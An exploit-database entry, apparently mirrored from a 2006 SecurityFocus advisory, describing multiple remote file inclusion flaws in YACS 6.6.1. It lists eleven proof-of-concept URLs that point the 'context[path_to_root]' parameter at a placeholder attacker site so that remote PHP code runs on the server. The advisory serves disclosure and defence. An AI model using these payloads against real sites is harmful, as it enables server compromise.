YACS 6.6.1 - Multiple Remote File Inclusions

2006-09-01T00:00:00
ID EXPLOITPACK:48230821352F6D3A1BB55373ABA12F0B
Type exploitpack
Reporter MATASANOS
Modified 2006-09-01T00:00:00

Description

YACS 6.6.1 - Multiple Remote File Inclusions

                                        
                                            source: https://www.securityfocus.com/bid/19799/info

YACS is prone multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

YACS Version 6.6.1 is affected by this vulnerability; other versions may also be affected.

http://www.example.com/articles/article.php?context[path_to_root]=attacker's site
http://www.example.com/articles/populate.php?context[path_to_root]=attacker's site
http://www.example.com/categories/category.php?context[path_to_root]=attacker's site
http://www.example.com/categories/populate.php?context[path_to_root]=attacker's site
http://www.example.com/comments/populate.php?context[path_to_root]=attacker's site
http://www.example.com/files/file.php?context[path_to_root]=attacker's site
http://www.example.com/sections/section.php?context[path_to_root]=attacker's site
http://www.example.com/sections/populate.php?context[path_to_root]=attacker's site
http://www.example.com/tables/populate.php?context[path_to_root]=attacker's site
http://www.example.com/users/user.php?context[path_to_root]=attacker's site
http://www.example.com/users/populate.php?context[path_to_root]=attacker's site